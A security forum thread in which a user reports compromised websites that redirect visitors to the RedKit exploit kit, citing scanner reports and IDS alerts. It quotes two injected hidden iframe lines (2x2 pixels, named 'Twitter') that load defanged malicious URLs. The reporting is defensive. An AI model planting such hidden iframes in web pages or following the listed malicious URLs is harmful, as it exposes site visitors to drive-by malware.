Site redirects to possible RedKit exploit kit HTTP GET request -avast blocks!

[polonus]

Scanned this site: http://urlquery.net/report.php?id=124707 mentioned on malware domain list as redirecting to a RedKit exploit kit,.
And indeed The location line in the header above has redirected the request to: htxp://anrusmotors.com/77314788.html
See: http://urlquery.net/report.php?id=124712 for code see: http://www.binrand.com/post/2899345-test-div-blackhole-exploit-kit.html
The avast Network shield blocks access to the site as URL:Mal,

polonus

[polonus]

This one was reported by our forum friend, Pondus, who allways has an eye for the non-detects. Thanks, Pondus.
http://urlquery.net/report.php?id=1118959
IDS alerts for:
ET CURRENT_EVENTS Malicious iframe  &
EXPLOIT-KIT Redkit exploit kit redirection attempt
https://www.virustotal.com/nb/file/4a9907865783bb55926adbba34c27dbb79052ae149378c42faacf768112a4cc8/analysis/1361811247/
Well done, Pondus, because look here on the website code:
 in line 138:
< if​rame name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=htxp://hopeglobalfoundation.org/eyib.html?i=1863612> < /if​rame>

Note: Name=Twitter ? That looks suspicious!

< /body> While it again is going to pagead2.googlesyndication.com/apps/domainpark/ads.js How see: -http://jsunpack.jeek.org/dec/go?report=1c409a10917068951e044310e5d28ce80b29672e (only for the security aware with NoScript and RequestPolicy add-ons active and in a VM/sandbox)
So there is quite an amount of domainparked search clicks scored through the redirect via mentioned iFrame 

Should be reported to virus AT avast dot com

Going to the redirect NoScript protects showing:
-http://pagead2.googlesyndication.com/apps/domainpark/show_afd_ads.js
-http://hopeglobalfoundation.org/text/javascript
-http://dsnextgen.com/?domainname=
-http://www.google.com/

It can be worse even, as e.g. "htxp://static.verticalscope.com/apps/domainpark/show_afd_ads.js" is identified as associated with a keylogger ->
ThreatExpert Report: Trojan-Spy.Win32.VB, Trojan-Spy.Win32.VB.coq
Sites like these should be flagged, like http://urlquery.net/report.php?id=1113456
and http://urlquery.net/report.php?id=1086430

polonus

[polonus]

A similar one with this iFrameline at the bottom of the page: 192:

Code: [Select]

< if​rame name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=htxp://atcministries.net/mhwf.html?i=997900*> < /if​rame>

Note: Name=Twitter ? That looks suspicious! * page seems no longer to exist No HTML title tags found ....
See: http://zulu.zscaler.com/submission/show/9e8dcd8eb7ec02ebffcbba2f662bd86f-1361831095
See: https://www.virustotal.com/nb/url/b81cb495b8b1b4bd98d440ce2abcbdc9c696284043ca05c2850b7d052aae6bf6/analysis/1361830972/
and http://urlquery.net/queued.php?id=15600449
Alerts for Detected malicious iframe injection & Detected RedKit exploit kit URL pattern
We have protection avast! Web Shield detects this as infected with HTML:Script-inf

pol